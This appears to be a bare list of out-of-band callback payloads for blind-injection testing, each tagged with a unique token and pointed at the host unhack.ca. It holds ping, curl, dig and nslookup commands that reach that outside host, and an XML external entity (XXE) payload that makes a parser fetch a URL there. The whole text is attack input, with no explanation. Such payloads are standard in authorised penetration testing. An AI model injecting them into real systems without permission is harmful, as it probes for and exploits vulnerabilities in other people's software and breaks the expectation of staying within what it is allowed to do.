$ ping -c1 -p 0087729b1c99067b701d07c59a6df200 unhack.ca
 

$ curl http://unhack.ca/p/87729b1c99067b701d07c59a6df2
 

$ dig 87729b1c99067b701d07c59a6df2 @unhack.ca
 

$ dig 87729b1c99067b701d07c59a6df2.ns.unhack.ca
 

C:\> nslookup 87729b1c99067b701d07c59a6df2 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/87729b1c99067b701d07c59a6df2">]>
    <foo>&xxe;</foo>